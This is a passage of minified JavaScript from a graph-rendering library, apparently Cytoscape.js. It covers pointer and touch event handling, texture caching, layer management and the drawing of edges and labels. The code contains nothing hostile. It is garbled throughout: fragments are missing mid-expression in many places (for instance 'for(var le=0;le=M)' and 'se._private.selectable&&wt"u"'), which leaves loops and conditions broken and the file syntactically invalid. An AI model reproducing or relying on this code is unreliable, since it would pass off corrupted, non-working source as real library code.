if(t.hoverData.which===1){if(i(ye,["mouseup","tapend","vmouseup"],z,{x:ke[0],y:ke[1]}),!t.dragData.didDrag&&!t.hoverData.dragged&&!t.hoverData.selecting&&!t.hoverData.isOverThresholdDrag&&(i(_e,["click","tap","vclick"],z,{x:ke[0],y:ke[1]}),D=!1,z.timeStamp-_<=le.multiClickDebounceTime()?(E&&clearTimeout(E),D=!0,_=null,i(_e,["dblclick","dbltap","vdblclick"],z,{x:ke[0],y:ke[1]})):(E=setTimeout(function(){D||i(_e,["oneclick","onetap","voneclick"],z,{x:ke[0],y:ke[1]})},le.multiClickDebounceTime()),_=z.timeStamp)),_e==null&&!t.dragData.didDrag&&!t.hoverData.selecting&&!t.hoverData.dragged&&!a(z)&&(le.$(r).unselect(["tapunselect"]),Re.length>0&&t.redrawHint("eles",!0),t.dragData.possibleDragElements=Re=le.collection()),ye==_e&&!t.dragData.didDrag&&!t.hoverData.selecting&&ye!=null&&ye._private.selectable&&(t.hoverData.dragging||(le.selectionType()==="additive"||ze?ye.selected()?ye.unselect(["tapunselect"]):ye.select(["tapselect"]):ze||(le.$(r).unmerge(ye).unselect(["tapunselect"]),ye.select(["tapselect"]))),t.redrawHint("eles",!0)),t.hoverData.selecting){var Oe=le.collection(t.getAllInBox(ve[0],ve[1],ve[2],ve[3]));t.redrawHint("select",!0),Oe.length>0&&t.redrawHint("eles",!0),le.emit(Ke("boxend"));var et=o(function(Gt){return Gt.selectable()&&!Gt.selected()},"eleWouldBeSelected");le.selectionType()==="additive"||ze||le.$(r).unmerge(Oe).unselect(),Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),t.redraw()}if(t.hoverData.dragging&&(t.hoverData.dragging=!1,t.redrawHint("select",!0),t.redrawHint("eles",!0),t.redraw()),!ve[4]){t.redrawHint("drag",!0),t.redrawHint("eles",!0);var Ue=_e&&_e.grabbed();x(Re),Ue&&(_e.emit(Ke("freeon")),Re.emit(Ke("free")),t.dragData.didDrag&&(_e.emit(Ke("dragfreeon")),Re.emit(Ke("dragfree"))))}}ve[4]=0,t.hoverData.down=null,t.hoverData.cxtStarted=!1,t.hoverData.draggingEles=!1,t.hoverData.selecting=!1,t.hoverData.isOverThresholdDrag=!1,t.dragData.didDrag=!1,t.hoverData.dragged=!1,t.hoverData.dragDelta=[],t.hoverData.mdownPos=null,t.hoverData.mdownGPos=null,t.hoverData.which=null}}},"mouseupHandler"),!1);var O=[],M=4,P,B=1e5,F=o(function(z,se){for(var le=0;le=M){var ke=O;if(P=F(ke,5),!P){var ve=Math.abs(ke[0]);P=G(ke)&&ve>5}if(P)for(var ye=0;ye5&&(le=yI(le)*5),We=le/-250,P&&(We/=B,We*=3),We=We*t.wheelSensitivity;var Oe=z.deltaMode===1;Oe&&(We*=33);var et=Re.zoom()*Math.pow(10,We);z.type==="gesturechange"&&(et=t.gestureStartZoom*z.scale),Re.zoom({level:et,renderedPosition:{x:xt[0],y:xt[1]}}),Re.emit({type:z.type==="gesturechange"?"pinchzoom":"scrollzoom",originalEvent:z,position:{x:Ke[0],y:Ke[1]}})}}}},"wheelHandler");t.registerBinding(t.container,"wheel",$,!0),t.registerBinding(e,"scroll",o(function(z){t.scrollingPage=!0,clearTimeout(t.scrollingPageTimeout),t.scrollingPageTimeout=setTimeout(function(){t.scrollingPage=!1},250)},"scrollHandler"),!0),t.registerBinding(t.container,"gesturestart",o(function(z){t.gestureStartZoom=t.cy.zoom(),t.hasTouchStarted||z.preventDefault()},"gestureStartHandler"),!0),t.registerBinding(t.container,"gesturechange",function(he){t.hasTouchStarted||$(he)},!0),t.registerBinding(t.container,"mouseout",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseout",position:{x:se[0],y:se[1]}})},"mouseOutHandler"),!1),t.registerBinding(t.container,"mouseover",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseover",position:{x:se[0],y:se[1]}})},"mouseOverHandler"),!1);var U,j,te,Y,oe,J,ue,re,ee,Z,K,ae,Q,de=o(function(z,se,le,ke){return Math.sqrt((le-z)*(le-z)+(ke-se)*(ke-se))},"distance"),ne=o(function(z,se,le,ke){return(le-z)*(le-z)+(ke-se)*(ke-se)},"distanceSq"),Te;t.registerBinding(t.container,"touchstart",Te=o(function(z){if(t.hasTouchStarted=!0,!!I(z)){T(),t.touchData.capture=!0,t.data.bgActivePosistion=void 0;var se=t.cy,le=t.touchData.now,ke=t.touchData.earlier;if(z.touches[0]){var ve=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);le[0]=ve[0],le[1]=ve[1]}if(z.touches[1]){var ve=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);le[2]=ve[0],le[3]=ve[1]}if(z.touches[2]){var ve=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);le[4]=ve[0],le[5]=ve[1]}var ye=o(function(bt){return{originalEvent:z,type:bt,position:{x:le[0],y:le[1]}}},"makeEvent");if(z.touches[1]){t.touchData.singleTouchMoved=!0,x(t.dragData.touchDragEles);var Re=t.findContainerClientCoords();ee=Re[0],Z=Re[1],K=Re[2],ae=Re[3],U=z.touches[0].clientX-ee,j=z.touches[0].clientY-Z,te=z.touches[1].clientX-ee,Y=z.touches[1].clientY-Z,Q=0<=U&&U<=K&&0<=te&&te<=K&&0<=j&&j<=ae&&0<=Y&&Y<=ae;var _e=se.pan(),ze=se.zoom();oe=de(U,j,te,Y),J=ne(U,j,te,Y),ue=[(U+te)/2,(j+Y)/2],re=[(ue[0]-_e.x)/ze,(ue[1]-_e.y)/ze];var Ke=200,xt=Ke*Ke;if(J=1){for(var vt=t.touchData.startPosition=[null,null,null,null,null,null],Lt=0;Lt=t.touchTapThreshold2}if(se&&t.touchData.cxt){z.preventDefault();var Lt=z.touches[0].clientX-ee,dt=z.touches[0].clientY-Z,nt=z.touches[1].clientX-ee,bt=z.touches[1].clientY-Z,wt=ne(Lt,dt,nt,bt),yt=wt/J,ft=150,Ur=ft*ft,_t=1.5,bn=_t*_t;if(yt>=bn||wt>=Ur){t.touchData.cxt=!1,t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Br=ze("cxttapend");t.touchData.start?(t.touchData.start.unactivate().emit(Br),t.touchData.start=null):ke.emit(Br)}}if(se&&t.touchData.cxt){var Br=ze("cxtdrag");t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.touchData.start?t.touchData.start.emit(Br):ke.emit(Br),t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxtDragged=!0;var cr=t.findNearestElement(ve[0],ve[1],!0,!0);(!t.touchData.cxtOver||cr!==t.touchData.cxtOver)&&(t.touchData.cxtOver&&t.touchData.cxtOver.emit(ze("cxtdragout")),t.touchData.cxtOver=cr,cr&&cr.emit(ze("cxtdragover")))}else if(se&&z.touches[2]&&ke.boxSelectionEnabled())z.preventDefault(),t.data.bgActivePosistion=void 0,this.lastThreeTouch=+new Date,t.touchData.selecting||ke.emit(ze("boxstart")),t.touchData.selecting=!0,t.touchData.didSelect=!0,le[4]=1,!le||le.length===0||le[0]===void 0?(le[0]=(ve[0]+ve[2]+ve[4])/3,le[1]=(ve[1]+ve[3]+ve[5])/3,le[2]=(ve[0]+ve[2]+ve[4])/3+1,le[3]=(ve[1]+ve[3]+ve[5])/3+1):(le[2]=(ve[0]+ve[2]+ve[4])/3,le[3]=(ve[1]+ve[3]+ve[5])/3),t.redrawHint("select",!0),t.redraw();else if(se&&z.touches[1]&&!t.touchData.didSelect&&ke.zoomingEnabled()&&ke.panningEnabled()&&ke.userZoomingEnabled()&&ke.userPanningEnabled()){z.preventDefault(),t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var ar=t.dragData.touchDragEles;if(ar){t.redrawHint("drag",!0);for(var _r=0;_r0&&!t.hoverData.draggingEles&&!t.swipePanning&&t.data.bgActivePosistion!=null&&(t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.redraw())}},"touchmoveHandler"),!1);var Ve;t.registerBinding(e,"touchcancel",Ve=o(function(z){var se=t.touchData.start;t.touchData.capture=!1,se&&se.unactivate()},"touchcancelHandler"));var pe,Be,Ye,He;if(t.registerBinding(e,"touchend",pe=o(function(z){var se=t.touchData.start,le=t.touchData.capture;if(le)z.touches.length===0&&(t.touchData.capture=!1),z.preventDefault();else return;var ke=t.selection;t.swipePanning=!1,t.hoverData.draggingEles=!1;var ve=t.cy,ye=ve.zoom(),Re=t.touchData.now,_e=t.touchData.earlier;if(z.touches[0]){var ze=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);Re[0]=ze[0],Re[1]=ze[1]}if(z.touches[1]){var ze=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);Re[2]=ze[0],Re[3]=ze[1]}if(z.touches[2]){var ze=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);Re[4]=ze[0],Re[5]=ze[1]}var Ke=o(function(Ur){return{originalEvent:z,type:Ur,position:{x:Re[0],y:Re[1]}}},"makeEvent");se&&se.unactivate();var xt;if(t.touchData.cxt){if(xt=Ke("cxttapend"),se?se.emit(xt):ve.emit(xt),!t.touchData.cxtDragged){var We=Ke("cxttap");se?se.emit(We):ve.emit(We)}t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxt=!1,t.touchData.start=null,t.redraw();return}if(!z.touches[2]&&ve.boxSelectionEnabled()&&t.touchData.selecting){t.touchData.selecting=!1;var Oe=ve.collection(t.getAllInBox(ke[0],ke[1],ke[2],ke[3]));ke[0]=void 0,ke[1]=void 0,ke[2]=void 0,ke[3]=void 0,ke[4]=0,t.redrawHint("select",!0),ve.emit(Ke("boxend"));var et=o(function(Ur){return Ur.selectable()&&!Ur.selected()},"eleWouldBeSelected");Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),Oe.nonempty()&&t.redrawHint("eles",!0),t.redraw()}if(se?.unactivate(),z.touches[2])t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);else if(!z.touches[1]){if(!z.touches[0]){if(!z.touches[0]){t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Ue=t.dragData.touchDragEles;if(se!=null){var lt=se._private.grabbed;x(Ue),t.redrawHint("drag",!0),t.redrawHint("eles",!0),lt&&(se.emit(Ke("freeon")),Ue.emit(Ke("free")),t.dragData.didDrag&&(se.emit(Ke("dragfreeon")),Ue.emit(Ke("dragfree")))),i(se,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]}),se.unactivate(),t.touchData.start=null}else{var Gt=t.findNearestElement(Re[0],Re[1],!0,!0);i(Gt,["touchend","tapend","vmouseup","tapdragout"],z,{x:Re[0],y:Re[1]})}var vt=t.touchData.startPosition[0]-Re[0],Lt=vt*vt,dt=t.touchData.startPosition[1]-Re[1],nt=dt*dt,bt=Lt+nt,wt=bt*ye*ye;t.touchData.singleTouchMoved||(se||ve.$(":selected").unselect(["tapunselect"]),i(se,["tap","vclick"],z,{x:Re[0],y:Re[1]}),Be=!1,z.timeStamp-He<=ve.multiClickDebounceTime()?(Ye&&clearTimeout(Ye),Be=!0,He=null,i(se,["dbltap","vdblclick"],z,{x:Re[0],y:Re[1]})):(Ye=setTimeout(function(){Be||i(se,["onetap","voneclick"],z,{x:Re[0],y:Re[1]})},ve.multiClickDebounceTime()),He=z.timeStamp)),se!=null&&!t.dragData.didDrag&&se._private.selectable&&wt"u"){var Le=[],Ie=o(function(z){return{clientX:z.clientX,clientY:z.clientY,force:1,identifier:z.pointerId,pageX:z.pageX,pageY:z.pageY,radiusX:z.width/2,radiusY:z.height/2,screenX:z.screenX,screenY:z.screenY,target:z.target}},"makeTouch"),Ne=o(function(z){return{event:z,touch:Ie(z)}},"makePointer"),Ce=o(function(z){Le.push(Ne(z))},"addPointer"),Fe=o(function(z){for(var se=0;se0)return U[0]}return null},"getCurveT"),g=Object.keys(p),y=0;y0?m:_ue(a,s,e,r,n,i,l,u)},"intersectLine"),checkPoint:o(function(e,r,n,i,a,s,l,u){u=u==="auto"?kf(i,a):u;var h=2*u;if(Vu(e,r,this.points,s,l,i,a-h,[0,-1],n)||Vu(e,r,this.points,s,l,i-h,a,[0,-1],n))return!0;var f=i/2+2*n,d=a/2+2*n,p=[s-f,l-d,s-f,l,s+f,l,s+f,l-d];return!!(Hs(e,r,p)||xp(e,r,h,h,s+i/2-u,l+a/2-u,n)||xp(e,r,h,h,s-i/2+u,l+a/2-u,n))},"checkPoint")}};Uu.registerNodeShapes=function(){var t=this.nodeShapes={},e=this;this.generateEllipse(),this.generatePolygon("triangle",ls(3,0)),this.generateRoundPolygon("round-triangle",ls(3,0)),this.generatePolygon("rectangle",ls(4,0)),t.square=t.rectangle,this.generateRoundRectangle(),this.generateCutRectangle(),this.generateBarrel(),this.generateBottomRoundrectangle();{var r=[0,1,1,0,0,-1,-1,0];this.generatePolygon("diamond",r),this.generateRoundPolygon("round-diamond",r)}this.generatePolygon("pentagon",ls(5,0)),this.generateRoundPolygon("round-pentagon",ls(5,0)),this.generatePolygon("hexagon",ls(6,0)),this.generateRoundPolygon("round-hexagon",ls(6,0)),this.generatePolygon("heptagon",ls(7,0)),this.generateRoundPolygon("round-heptagon",ls(7,0)),this.generatePolygon("octagon",ls(8,0)),this.generateRoundPolygon("round-octagon",ls(8,0));var n=new Array(20);{var i=HM(5,0),a=HM(5,Math.PI/5),s=.5*(3-Math.sqrt(5));s*=1.57;for(var l=0;l=e.deqFastCost*S)break}else if(h){if(b>=e.deqCost*m||b>=e.deqAvgCost*p)break}else if(T>=e.deqNoDrawCost*OM)break;var w=e.deq(n,v,y);if(w.length>0)for(var k=0;k0&&(e.onDeqd(n,g),!h&&e.shouldRedraw(n,g,v,y)&&a())},"dequeue"),l=e.priority||pI;i.beforeRender(s,l(n))}},"setupDequeueingImpl")},"setupDequeueing")},vHe=(function(){function t(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:Qk;Af(this,t),this.idsByKey=new zu,this.keyForId=new zu,this.cachesByLvl=new zu,this.lvls=[],this.getKey=e,this.doesEleInvalidateKey=r}return o(t,"ElementTextureCacheLookup"),_f(t,[{key:"getIdsFor",value:o(function(r){r==null&&Kn("Can not get id list for null key");var n=this.idsByKey,i=this.idsByKey.get(r);return i||(i=new hg,n.set(r,i)),i},"getIdsFor")},{key:"addIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).add(n)},"addIdForKey")},{key:"deleteIdForKey",value:o(function(r,n){r!=null&&this.getIdsFor(r).delete(n)},"deleteIdForKey")},{key:"getNumberOfIdsForKey",value:o(function(r){return r==null?0:this.getIdsFor(r).size},"getNumberOfIdsForKey")},{key:"updateKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);this.deleteIdForKey(i,n),this.addIdForKey(a,n),this.keyForId.set(n,a)},"updateKeyMappingFor")},{key:"deleteKeyMappingFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteIdForKey(i,n),this.keyForId.delete(n)},"deleteKeyMappingFor")},{key:"keyHasChangedFor",value:o(function(r){var n=r.id(),i=this.keyForId.get(n),a=this.getKey(r);return i!==a},"keyHasChangedFor")},{key:"isInvalid",value:o(function(r){return this.keyHasChangedFor(r)||this.doesEleInvalidateKey(r)},"isInvalid")},{key:"getCachesAt",value:o(function(r){var n=this.cachesByLvl,i=this.lvls,a=n.get(r);return a||(a=new zu,n.set(r,a),i.push(r)),a},"getCachesAt")},{key:"getCache",value:o(function(r,n){return this.getCachesAt(n).get(r)},"getCache")},{key:"get",value:o(function(r,n){var i=this.getKey(r),a=this.getCache(i,n);return a!=null&&this.updateKeyMappingFor(r),a},"get")},{key:"getForCachedKey",value:o(function(r,n){var i=this.keyForId.get(r.id()),a=this.getCache(i,n);return a},"getForCachedKey")},{key:"hasCache",value:o(function(r,n){return this.getCachesAt(n).has(r)},"hasCache")},{key:"has",value:o(function(r,n){var i=this.getKey(r);return this.hasCache(i,n)},"has")},{key:"setCache",value:o(function(r,n,i){i.key=r,this.getCachesAt(n).set(r,i)},"setCache")},{key:"set",value:o(function(r,n,i){var a=this.getKey(r);this.setCache(a,n,i),this.updateKeyMappingFor(r)},"set")},{key:"deleteCache",value:o(function(r,n){this.getCachesAt(n).delete(r)},"deleteCache")},{key:"delete",value:o(function(r,n){var i=this.getKey(r);this.deleteCache(i,n)},"_delete")},{key:"invalidateKey",value:o(function(r){var n=this;this.lvls.forEach(function(i){return n.deleteCache(r,i)})},"invalidateKey")},{key:"invalidate",value:o(function(r){var n=r.id(),i=this.keyForId.get(n);this.deleteKeyMappingFor(r);var a=this.doesEleInvalidateKey(r);return a&&this.invalidateKey(i),a||this.getNumberOfIdsForKey(i)===0},"invalidate")}])})(),Hce=25,Ok=50,Wk=-4,iI=3,Nhe=7.99,xHe=8,bHe=1024,THe=1024,wHe=1024,kHe=.2,EHe=.8,SHe=10,CHe=.15,AHe=.1,_He=.9,DHe=.9,LHe=100,RHe=1,ng={dequeue:"dequeue",downscale:"downscale",highQuality:"highQuality"},NHe=xa({getKey:null,doesEleInvalidateKey:Qk,drawElement:null,getBoundingBox:null,getRotationPoint:null,getRotationOffset:null,isVisible:Tue,allowEdgeTxrCaching:!0,allowParentTxrCaching:!0}),ex=o(function(e,r){var n=this;n.renderer=e,n.onDequeues=[];var i=NHe(r);ir(n,i),n.lookup=new vHe(i.getKey,i.doesEleInvalidateKey),n.setupDequeueing()},"ElementTextureCache"),zi=ex.prototype;zi.reasons=ng;zi.getTextureQueue=function(t){var e=this;return e.eleImgCaches=e.eleImgCaches||{},e.eleImgCaches[t]=e.eleImgCaches[t]||[]};zi.getRetiredTextureQueue=function(t){var e=this,r=e.eleImgCaches.retired=e.eleImgCaches.retired||{},n=r[t]=r[t]||[];return n};zi.getElementQueue=function(){var t=this,e=t.eleCacheQueue=t.eleCacheQueue||new bx(function(r,n){return n.reqs-r.reqs});return e};zi.getElementKeyToQueue=function(){var t=this,e=t.eleKeyToCacheQueue=t.eleKeyToCacheQueue||{};return e};zi.getElement=function(t,e,r,n,i){var a=this,s=this.renderer,l=s.cy.zoom(),u=this.lookup;if(!e||e.w===0||e.h===0||isNaN(e.w)||isNaN(e.h)||!t.visible()||t.removed()||!a.allowEdgeTxrCaching&&t.isEdge()||!a.allowParentTxrCaching&&t.isParent())return null;if(n==null&&(n=Math.ceil(gI(l*r))),n=Nhe||n>iI)return null;var h=Math.pow(2,n),f=e.h*h,d=e.w*h,p=s.eleTextBiggerThanMin(t,h);if(!this.isVisible(t,p))return null;var m=u.get(t,n);if(m&&m.invalidated&&(m.invalidated=!1,m.texture.invalidatedWidth-=m.width),m)return m;var g;if(f<=Hce?g=Hce:f<=Ok?g=Ok:g=Math.ceil(f/Ok)*Ok,f>wHe||d>THe)return null;var y=a.getTextureQueue(g),v=y[y.length-2],x=o(function(){return a.recycleTexture(g,d)||a.addTexture(g,d)},"addNewTxr");v||(v=y[y.length-1]),v||(v=x()),v.width-v.usedWidthn;L--)R=a.getElement(t,e,r,L,ng.downscale);I()}else return a.queueElement(t,k.level-1),k;else{var E;if(!T&&!S&&!w)for(var D=n-1;D>=Wk;D--){var _=u.get(t,D);if(_){E=_;break}}if(b(E))return a.queueElement(t,n),E;v.context.translate(v.usedWidth,0),v.context.scale(h,h),this.drawElement(v.context,t,e,p,!1),v.context.scale(1/h,1/h),v.context.translate(-v.usedWidth,0)}return m={x:v.usedWidth,texture:v,level:n,scale:h,width:d,height:f,scaledLabelShown:p},v.usedWidth+=Math.ceil(d+xHe),v.eleCaches.push(m),u.set(t,n,m),a.checkTextureFullness(v),m};zi.invalidateElements=function(t){for(var e=0;e=kHe*t.width&&this.retireTexture(t)};zi.checkTextureFullness=function(t){var e=this,r=e.getTextureQueue(t.height);t.usedWidth/t.width>EHe&&t.fullnessChecks>=SHe?wf(r,t):t.fullnessChecks++};zi.retireTexture=function(t){var e=this,r=t.height,n=e.getTextureQueue(r),i=this.lookup;wf(n,t),t.retired=!0;for(var a=t.eleCaches,s=0;s=e)return s.retired=!1,s.usedWidth=0,s.invalidatedWidth=0,s.fullnessChecks=0,mI(s.eleCaches),s.context.setTransform(1,0,0,1,0,0),s.context.clearRect(0,0,s.width,s.height),wf(i,s),n.push(s),s}};zi.queueElement=function(t,e){var r=this,n=r.getElementQueue(),i=r.getElementKeyToQueue(),a=this.getKey(t),s=i[a];if(s)s.level=Math.max(s.level,e),s.eles.merge(t),s.reqs++,n.updateItem(s);else{var l={eles:t.spawn().merge(t),level:e,reqs:1,key:a};n.push(l),i[a]=l}};zi.dequeue=function(t){for(var e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=[],a=e.lookup,s=0;s0;s++){var l=r.pop(),u=l.key,h=l.eles[0],f=a.hasCache(h,l.level);if(n[u]=null,f)continue;i.push(l);var d=e.getBoundingBox(h);e.getElement(h,d,t,l.level,ng.dequeue)}return i};zi.removeFromQueue=function(t){var e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=this.getKey(t),a=n[i];a!=null&&(a.eles.length===1?(a.reqs=dI,r.updateItem(a),r.pop(),n[i]=null):a.eles.unmerge(t))};zi.onDequeue=function(t){this.onDequeues.push(t)};zi.offDequeue=function(t){wf(this.onDequeues,t)};zi.setupDequeueing=Rhe.setupDequeueing({deqRedrawThreshold:LHe,deqCost:CHe,deqAvgCost:AHe,deqNoDrawCost:_He,deqFastCost:DHe,deq:o(function(e,r,n){return e.dequeue(r,n)},"deq"),onDeqd:o(function(e,r){for(var n=0;n=IHe||r>aE)return null}n.validateLayersElesOrdering(r,t);var u=n.layersByLevel,h=Math.pow(2,r),f=u[r]=u[r]||[],d,p=n.levelIsComplete(r,t),m,g=o(function(){var I=o(function(O){if(n.validateLayersElesOrdering(O,t),n.levelIsComplete(O,t))return m=u[O],!0},"canUseAsTmpLvl"),L=o(function(O){if(!m)for(var M=r+O;rx<=M&&M<=aE&&!I(M);M+=O);},"checkLvls");L(1),L(-1);for(var E=f.length-1;E>=0;E--){var D=f[E];D.invalid&&wf(f,D)}},"checkTempLevels");if(!p)g();else return f;var y=o(function(){if(!d){d=cs();for(var I=0;IWce||D>Wce)return null;var _=E*D;if(_>VHe)return null;var O=n.makeLayer(d,r);if(L!=null){var M=f.indexOf(L)+1;f.splice(M,0,O)}else(I.insert===void 0||I.insert)&&f.unshift(O);return O},"makeLayer");if(n.skipping&&!l)return null;for(var x=null,b=t.length/MHe,T=!l,S=0;S=b||!Aue(x.bb,w.boundingBox()))&&(x=v({insert:!0,after:x}),!x))return null;m||T?n.queueLayer(x,w):n.drawEleInLayer(x,w,r,e),x.eles.push(w),A[r]=x}return m||(T?null:f)};ba.getEleLevelForLayerLevel=function(t,e){return t};ba.drawEleInLayer=function(t,e,r,n){var i=this,a=this.renderer,s=t.context,l=e.boundingBox();l.w===0||l.h===0||!e.visible()||(r=i.getEleLevelForLayerLevel(r,n),a.setImgSmoothing(s,!1),a.drawCachedElement(s,e,null,null,r,UHe),a.setImgSmoothing(s,!0))};ba.levelIsComplete=function(t,e){var r=this,n=r.layersByLevel[t];if(!n||n.length===0)return!1;for(var i=0,a=0;a0||s.invalid)return!1;i+=s.eles.length}return i===e.length};ba.validateLayersElesOrdering=function(t,e){var r=this.layersByLevel[t];if(r)for(var n=0;n0){e=!0;break}}return e};ba.invalidateElements=function(t){var e=this;t.length!==0&&(e.lastInvalidationTime=Gu(),!(t.length===0||!e.haveLayers())&&e.updateElementsInLayers(t,o(function(n,i,a){e.invalidateLayer(n)},"invalAssocLayers")))};ba.invalidateLayer=function(t){if(this.lastInvalidationTime=Gu(),!t.invalid){var e=t.level,r=t.eles,n=this.layersByLevel[e];wf(n,t),t.elesQueue=[],t.invalid=!0,t.replacement&&(t.replacement.invalid=!0);for(var i=0;i3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l=e._private.rscratch;if(!(a&&!e.visible())&&!(l.badLine||l.allpts==null||isNaN(l.allpts[0]))){var u;r&&(u=r,t.translate(-u.x1,-u.y1));var h=a?e.pstyle("opacity").value:1,f=a?e.pstyle("line-opacity").value:1,d=e.pstyle("curve-style").value,p=e.pstyle("line-style").value,m=e.pstyle("width").pfValue,g=e.pstyle("line-cap").value,y=e.pstyle("line-outline-width").value,v=e.pstyle("line-outline-color").value,x=h*f,b=h*f,T=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;d==="straight-triangle"?(s.eleStrokeStyle(t,e,O),s.drawEdgeTrianglePath(e,t,l.allpts)):(t.lineWidth=m,t.lineCap=g,s.eleStrokeStyle(t,e,O),s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLine"),S=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;if(t.lineWidth=m+y,t.lineCap=g,y>0)s.colorStrokeStyle(t,v[0],v[1],v[2],O);else{t.lineCap="butt";return}d==="straight-triangle"?s.drawEdgeTrianglePath(e,t,l.allpts):(s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLineOutline"),w=o(function(){i&&s.drawEdgeOverlay(t,e)},"drawOverlay"),k=o(function(){i&&s.drawEdgeUnderlay(t,e)},"drawUnderlay"),A=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:b;s.drawArrowheads(t,e,O)},"drawArrows"),C=o(function(){s.drawElementText(t,e,null,n)},"drawText");t.lineJoin="round";var R=e.pstyle("ghost").value==="yes";if(R){var I=e.pstyle("ghost-offset-x").pfValue,L=e.pstyle("ghost-offset-y").pfValue,E=e.pstyle("ghost-opacity").value,D=x*E;t.translate(I,L),T(D),A(D),t.translate(-I,-L)}else S();k(),T(),A(),w(),C(),r&&t.translate(u.x1,u.y1)}};Ohe=o(function(e){if(!["overlay","underlay"].includes(e))throw new Error("Invalid state");return function(r,n){if(n.visible()){var i=n.pstyle("".concat(e,"-opacity")).value;if(i!==0){var a=this,s=a.usePaths(),l=n._private.rscratch,u=n.pstyle("".concat(e,"-padding")).pfValue,h=2*u,f=n.pstyle("".concat(e,"-color")).value;r.lineWidth=h,l.edgeType==="self"&&!s?r.lineCap="butt":r.lineCap="round",a.colorStrokeStyle(r,f[0],f[1],f[2],i),a.drawEdgePath(n,r,l.allpts,"solid")}}}},"drawEdgeOverlayUnderlay");Hu.drawEdgeOverlay=Ohe("overlay");Hu.drawEdgeUnderlay=Ohe("underlay");Hu.drawEdgePath=function(t,e,r,n){var i=t._private.rscratch,a=e,s,l=!1,u=this.usePaths(),h=t.pstyle("line-dash-pattern").pfValue,f=t.pstyle("line-dash-offset").pfValue;if(u){var d=r.join("$"),p=i.pathCacheKey&&i.pathCacheKey===d;p?(s=e=i.pathCache,l=!0):(s=e=new Path2D,i.pathCacheKey=d,i.pathCache=s)}if(a.setLineDash)switch(n){case"dotted":a.setLineDash([1,1]);break;case"dashed":a.setLineDash(h),a.lineDashOffset=f;break;case"solid":a.setLineDash([]);break}if(!l&&!i.badLine)switch(e.beginPath&&e.beginPath(),e.moveTo(r[0],r[1]),i.edgeType){case"bezier":case"self":case"compound":case"multibezier":for(var m=2;m+35&&arguments[5]!==void 0?arguments[5]:!0,s=this;if(n==null){if(a&&!s.eleTextBiggerThanMin(e))return}else if(n===!1)return;if(e.isNode()){var l=e.pstyle("label");if(!l||!l.value)return;var u=s.getLabelJustification(e);t.textAlign=u,t.textBaseline="bottom"}else{var h=e.element()._private.rscratch.badLine,f=e.pstyle("label"),d=e.pstyle("source-label"),p=e.pstyle("target-label");if(h||(!f||!f.value)&&(!d||!d.value)&&(!p||!p.value))return;t.textAlign="center",t.textBaseline="bottom"}var m=!r,g;r&&(g=r,t.translate(-g.x1,-g.y1)),i==null?(s.drawText(t,e,null,m,a),e.isEdge()&&(s.drawText(t,e,"source",m,a),s.drawText(t,e,"target",m,a))):s.drawText(t,e,i,m,a),r&&t.translate(g.x1,g.y1)};Cp.getFontCache=function(t){var e;this.fontCaches=this.fontCaches||[];for(var r=0;r2&&arguments[2]!==void 0?arguments[2]:!0,n=e.pstyle("font-style").strValue,i=e.pstyle("font-size").pfValue+"px",a=e.pstyle("font-family").strValue,s=e.pstyle("font-weight").strValue,l=r?e.effectiveOpacity()*e.pstyle("text-opacity").value:1,u=e.pstyle("text-outline-opacity").value*l,h=e.pstyle("color").value,f=e.pstyle("text-outline-color").value;t.font=n+" "+s+" "+i+" "+a,t.lineJoin="round",this.colorFillStyle(t,h[0],h[1],h[2],l),this.colorStrokeStyle(t,f[0],f[1],f[2],u)};o(eqe,"circle");o(Kce,"roundRect");Cp.getTextAngle=function(t,e){var r,n=t._private,i=n.rscratch,a=e?e+"-":"",s=t.pstyle(a+"text-rotation");if(s.strValue==="autorotate"){var l=Us(i,"labelAngle",e);r=t.isEdge()?l:0}else s.strValue==="none"?r=0:r=s.pfValue;return r};Cp.drawText=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=e._private,s=a.rscratch,l=i?e.effectiveOpacity():1;if(!(i&&(l===0||e.pstyle("text-opacity").value===0))){r==="main"&&(r=null);var u=Us(s,"labelX",r),h=Us(s,"labelY",r),f,d,p=this.getLabelText(e,r);if(p!=null&&p!==""&&!isNaN(u)&&!isNaN(h)){this.setupTextStyle(t,e,i);var 